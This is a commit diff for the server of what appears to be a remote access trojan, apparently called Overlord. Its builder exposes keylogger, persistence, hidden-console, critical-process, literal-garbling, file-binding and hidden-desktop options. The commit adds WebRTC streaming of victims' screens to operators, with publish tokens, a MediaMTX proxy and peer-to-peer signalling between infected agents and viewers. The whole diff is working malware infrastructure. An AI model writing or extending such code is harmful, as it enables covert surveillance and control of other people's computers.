This commit is contained in:
KingKDot
2026-05-13 13:44:33 -05:00
parent 30b6c63cfc
commit 8e97a32567
28 changed files with 1571 additions and 4 deletions
@@ -85,6 +85,7 @@ type BuildProcessConfig = {
hideConsole?: boolean;
noPrinting?: boolean;
disableKeylogger?: boolean;
enableWebrtc?: boolean;
builtByUserId?: number;
outputName?: string;
garbleLiterals?: boolean;
@@ -870,6 +871,7 @@ func runBoundFiles() {
const buildTags: string[] = [];
if (config.noPrinting) buildTags.push("noprint");
if (config.disableKeylogger) buildTags.push("nokeylogger");
if (config.enableWebrtc) buildTags.push("overlord_webrtc");
if (hasBoundFiles) buildTags.push("hasbinder");
if (config.enablePersistence && os === "windows") {
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
requireAdmin,
criticalProcess,
disableKeylogger,
enableWebrtc,
outputExtension,
sleepSeconds,
boundFiles,
@@ -374,6 +375,7 @@ export async function handleBuildRoutes(
requireAdmin: safeRequireAdmin,
criticalProcess: safeCriticalProcess,
disableKeylogger: !!disableKeylogger,
enableWebrtc: !!enableWebrtc,
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,
boundFiles: safeBoundFiles,
@@ -0,0 +1,101 @@
import { randomBytes } from "node:crypto";
import { authenticateRequest } from "../../auth";
import { canUserAccessClient } from "../../users";
import { logger } from "../../logger";
const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
const PUBLISH_TOKEN_TTL_MS = 60_000;
type PublishToken = { clientId: string; expiresAt: number };
const publishTokens = new Map<string, PublishToken>();
function prunePublishTokens(now = Date.now()) {
for (const [t, entry] of publishTokens) {
if (entry.expiresAt < now) publishTokens.delete(t);
}
}
export function issueWebrtcPublishToken(clientId: string): string {
prunePublishTokens();
const token = randomBytes(24).toString("base64url");
publishTokens.set(token, { clientId, expiresAt: Date.now() + PUBLISH_TOKEN_TTL_MS });
return token;
}
export function webrtcStreamPathFor(clientId: string): string {
return `agents/${clientId}`;
}
export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
if (!url.pathname.startsWith("/api/webrtc/")) return null;
const rest = url.pathname.slice("/api/webrtc/".length);
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
if (!match) return new Response("Not Found", { status: 404 });
const [, streamPath, kind, sessionSuffix] = match;
const clientId = streamPath.split("/")[1];
if (kind === "whip") {
const authHeader = req.headers.get("authorization") || "";
const m = authHeader.match(/^Bearer\s+(.+)$/i);
const token = m?.[1] || "";
const entry = publishTokens.get(token);
if (!entry || entry.clientId !== clientId || entry.expiresAt < Date.now()) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "DELETE") {
publishTokens.delete(token);
} else {
entry.expiresAt = Date.now() + PUBLISH_TOKEN_TTL_MS;
}
} else {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
return new Response("Forbidden", { status: 403 });
}
}
const upstreamUrl = `${MEDIAMTX_URL}/${streamPath}/${kind}${sessionSuffix || ""}`;
const upstreamHeaders = new Headers();
for (const [k, v] of req.headers) {
const lower = k.toLowerCase();
if (lower === "host" || lower === "authorization" || lower === "cookie") continue;
upstreamHeaders.set(k, v);
}
let body: ArrayBuffer | undefined;
if (req.method !== "GET" && req.method !== "HEAD" && req.method !== "DELETE") {
body = await req.arrayBuffer();
}
let upstreamResp: Response;
try {
upstreamResp = await fetch(upstreamUrl, {
method: req.method,
headers: upstreamHeaders,
body,
});
} catch (err) {
logger.warn(`[webrtc] upstream fetch failed (${upstreamUrl}): ${(err as Error).message}`);
return new Response("Bad Gateway", { status: 502 });
}
const respHeaders = new Headers(upstreamResp.headers);
const loc = respHeaders.get("location");
if (loc) {
try {
const abs = new URL(loc, MEDIAMTX_URL);
respHeaders.set("location", `/api/webrtc${abs.pathname}`);
} catch { }
}
return new Response(upstreamResp.body, {
status: upstreamResp.status,
statusText: upstreamResp.statusText,
headers: respHeaders,
});
}
@@ -157,6 +157,9 @@ type WsLifecycleDeps = {
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
cleanupRdViewerP2P: (ws: ServerWebSocket<SocketData>) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
@@ -723,6 +726,12 @@ export async function handleWebSocketMessage(
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
case "webrtc_p2p_answer":
deps.handleWebrtcP2PAnswer(client.id, payload);
break;
case "webrtc_p2p_ice":
deps.handleWebrtcP2PIce(client.id, payload);
break;
case "proxy_data": {
const connId = (payload as any).connectionId;
const tunnelData = (payload as any).data;
@@ -779,6 +788,7 @@ export function handleWebSocketClose(
}
if (role === "rd_viewer") {
deps.cleanupRdViewerP2P(ws);
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
if (sess.viewer === ws) {
@@ -12,6 +12,7 @@ import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import { canUserAccessClient } from "../users";
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
@@ -213,6 +214,35 @@ export const rdStreamingState = new Map<string, {
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
const RD_INPUT_TTL_MS = 10_000;
type P2PSession = { viewer: ServerWebSocket<SocketData>; clientId: string };
const p2pAgentToViewer = new Map<string, P2PSession>();
const p2pViewerToAgent = new WeakMap<ServerWebSocket<SocketData>, string>();
function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string): string {
const prior = p2pViewerToAgent.get(ws);
if (prior) {
p2pAgentToViewer.delete(prior);
}
const sessionId = uuidv4();
p2pAgentToViewer.set(sessionId, { viewer: ws, clientId });
p2pViewerToAgent.set(ws, sessionId);
return sessionId;
}
function lookupP2PSession(sessionId: string): P2PSession | undefined {
return p2pAgentToViewer.get(sessionId);
}
function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>): { sessionId: string; clientId: string } | null {
const sessionId = p2pViewerToAgent.get(ws);
if (!sessionId) return null;
const entry = p2pAgentToViewer.get(sessionId);
p2pAgentToViewer.delete(sessionId);
p2pViewerToAgent.delete(ws);
if (!entry) return null;
return { sessionId, clientId: entry.clientId };
}
function pruneRdInputPending(now = Date.now()) {
for (const [id, pending] of rdInputPending.entries()) {
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
@@ -384,10 +414,25 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
break;
}
}
if ((payload as any).webrtc === true) {
const streamPath = webrtcStreamPathFor(clientId);
const token = issueWebrtcPublishToken(clientId);
const whipPath = `/api/webrtc/${streamPath}/whip`;
sendDesktopCommand(target, "webrtc_publish", {
streamPath,
whipPath,
token,
});
safeSendViewer(ws, {
type: "webrtc_ready",
streamPath,
whepPath: `/api/webrtc/${streamPath}/whep`,
});
}
sendDesktopCommand(target, "desktop_start", {});
state.isStreaming = true;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] started streaming for client ${clientId}`);
logger.debug(`[rd] started streaming for client ${clientId}${(payload as any).webrtc === true ? " (webrtc)" : ""}`);
} else {
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
}
@@ -397,6 +442,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
.filter(s => s.id !== ws.data.sessionId);
if (otherViewers.length === 0) {
sendDesktopCommand(target, "desktop_stop", {});
sendDesktopCommand(target, "webrtc_stop", {});
if (state.isStreaming) {
state.isStreaming = false;
rdStreamingState.set(clientId, state);
@@ -542,11 +588,70 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
sendDesktopCommand(target, "clipboard_sync_stop", {});
break;
}
case "webrtc_p2p_offer": {
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
if (!sdp) break;
const sessionId = createP2PSession(ws, clientId);
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp });
break;
}
case "webrtc_p2p_ice": {
const sessionId = p2pViewerToAgent.get(ws);
if (!sessionId) break;
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
if (!candidate) break;
sendDesktopCommand(target, "webrtc_p2p_ice", {
sessionId,
candidate,
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
});
break;
}
case "webrtc_p2p_stop": {
const cleared = clearP2PSessionForViewer(ws);
if (cleared) {
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
}
break;
}
default:
break;
}
}
export function handleWebrtcP2PAnswer(_clientId: string, payload: any) {
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const sdp = typeof payload?.sdp === "string" ? payload.sdp : "";
if (!sessionId || !sdp) return;
const session = lookupP2PSession(sessionId);
if (!session) return;
safeSendViewer(session.viewer, { type: "webrtc_p2p_answer", sdp });
}
export function handleWebrtcP2PIce(_clientId: string, payload: any) {
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const candidate = typeof payload?.candidate === "string" ? payload.candidate : "";
if (!sessionId || !candidate) return;
const session = lookupP2PSession(sessionId);
if (!session) return;
safeSendViewer(session.viewer, {
type: "webrtc_p2p_ice",
candidate,
sdpMid: typeof payload?.sdpMid === "string" ? payload.sdpMid : "",
sdpMLineIndex: Number(payload?.sdpMLineIndex) || 0,
});
}
export function cleanupRdViewerP2P(ws: ServerWebSocket<SocketData>) {
const cleared = clearP2PSessionForViewer(ws);
if (!cleared) return;
const target = clientManager.getClient(cleared.clientId);
if (target) {
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
}
}
function handleRemoteDesktopFrame(payload: any) {
const clientId = payload.clientId as string;
const header = payload.header;